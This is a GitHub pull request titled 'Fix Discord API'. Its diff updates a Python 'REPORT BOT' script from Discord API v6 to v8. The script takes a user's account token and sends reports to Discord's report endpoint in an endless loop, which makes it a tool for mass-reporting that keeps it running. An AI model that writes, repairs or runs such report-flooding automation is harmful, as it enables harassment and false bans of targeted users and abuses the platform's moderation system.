Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Discord API #4

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Fix Discord API
Aholicknight authored Oct 13, 2022
commit 5942dafbc99ebffaa3a5b4b3c0d1b31f75de8568
4 changes: 2 additions & 2 deletions main.py
Original file line number Diff line number Diff line change
@@ -50,7 +50,7 @@

token = input(f"{b+Fore.BLUE} > Token{Fore.RESET}: ")
headers = {'Authorization': token, 'Content-Type': 'application/json'}
r = requests.get('https://discord.com/api/v6/users/@me', headers=headers)
r = requests.get('https://discord.com/api/v8/users/@me', headers=headers)
if r.status_code == 200:
pass
else:
@@ -78,7 +78,7 @@ def Main():
}

while True:
r = requests.post('https://discord.com/api/v6/report', headers=headers, json=payload)
r = requests.post('https://discord.com/api/v8/report', headers=headers, json=payload)
if r.status_code == 201:
print(f"{Fore.GREEN} > Sent Report {b+Fore.BLUE}::{Fore.GREEN} ID {message_id1}")
ctypes.windll.kernel32.SetConsoleTitleW(f"[REPORT BOT] By Offender | Sent: %s" % sent)